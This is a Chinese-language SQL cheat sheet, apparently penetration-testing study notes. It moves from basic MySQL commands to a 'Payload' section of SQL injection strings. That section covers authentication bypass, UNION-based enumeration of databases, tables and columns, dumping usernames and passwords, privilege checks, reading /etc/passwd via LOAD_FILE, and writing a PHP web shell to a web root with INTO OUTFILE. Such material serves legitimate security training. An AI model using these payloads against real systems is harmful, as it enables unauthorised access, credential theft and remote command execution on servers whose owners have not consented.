- 列出可用的数据库
SHOW DATABASE; - 切换到数据库
USE table_name
表
- 添加新表
CREATE TABLE logins (id INT, ...) - 列出当前数据库中的可用表
SHOW TABLES; - 显示表属性和列
DESCRIBE logins - 将值添加到表
INSERT INTO table_name VALUES (value_1,...) - 将值添加到表中的特定列
INSERT INTO table_name(colums2,...) VALUES(column2_value, ...) - 更新表值
UPDATE table_name SET column1=newvalue1,...WHERE <CONDITION>
列
- 显示表格中的所有列
SELECT * FROM table_name - 显示表格中的特定列
SELECT column1, column2 FROM table_name - 删除表
DROP TABLE logins - 添加新列
ALTER TABLE logins ADD newColumn INT - 重命名列
ALTER TABLE logins RENAME COLUMN newColumn TO oldColumn - 更改列数据类型
ALTER TABLE logins MODIFY oldColumn DATE - 删除列
ALTER TABLE logins DROP oldColumn
输出
- 按列排序
SELECT * FROM logins ORDER BY column_1 - 按列降序排序
SELECT * FROM logins ORDER BY column_1 DESC - 按两列排序
SELECT * FROM logins ORDER BY column_1 DESC, id ASC - 只显示前两个结果
SELECT * FROM logins LIMIT 2 - 只显示从索引2开始的前两个结果
SELECT * FROM logins LIMIT 1,2 - 列出满足条件的结果
SELECT * FROM table_name WHERE <condition> - 列出名称与给定字符串相似的结果
SELECT * FROM logins WHERE username LIKE 'admin%'
MySQL运算符优先级
- 除法(/)、乘法(
*)和模数(%) - 加法(+)和减法(-)
- 比较(=,>,<,<=,>=,!=,LIKE)
- 不是(!)
- 与(&&)
- 或(||)
Payload
身份验证绕过
- 基本身份认证绕过
admin' or '1'='1 - 带注释的基本身份验证绕过
admin')-- -
union injection
- 使用检测列数 order by
' order by 1-- - - 使用联合注入检测列数
cn' UNION select 1,2,3-- - - 基本联合注入
cn' UNION select 1,@@version,3,4-- - - 4列联合注入
UNION select username, 2, 3, 4 from passwords-- -
数据库枚举
- 带查询输出的指纹 MySQL
SELECT @@version - 没有输出的指纹 MySQL
SELECT SLEEP(5) - 当前数据库名称
cn' UNION select 1,database(),2,3-- - - 列出所有数据库
cn' UNION select 1,schema_name,3,4 from INFORMATION_SCHEMA.SCHEMATA-- - - 列出特定数据库中的所有表
cn' UNION select 1,TABLE_NAME,TABLE_SCHEMA,4 from INFORMATION_SCHEMA.TABLES where table_schema='dev'-- - - 列出特定表中的所有列
cn' UNION select 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='credentials'-- - - 从另一个数据库中的表转储数据
cn' UNION select 1, username, password, 4 from dev.credentials-- -
特权
- 查找当前用户
cn' UNION SELECT 1,user(),3,4-- - - 查找用户是否具有管理员权限
cn' UNION SELECT 1,super_priv,3,4 FROM mysql.user WHERE user="root"-- - - 查找是否所有用户权限
cn' UNION SELECT 1, grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE user="root"-- - - 查找可以通过 MySQL 访问的目录
cn' UNION SELECT 1, variable_name, variable_value, 4 FROM information_schema.global_variables where variable_name="secure_file_priv"-- -
文件注入
- 读取本地文件
cn' UNION SELECT 1, LOAD_FILE("/etc/passwd"), 3, 4-- - - 将字符串写入本地文件
select 'file written successfully!' into outfile '/var/www/html/proof.txt' - 将 web shell 写入基本 web 目录
cn' union select "",'<?php system($_REQUEST[0]); ?>', "", "" into outfile '/var/www/html/shell.php'-- -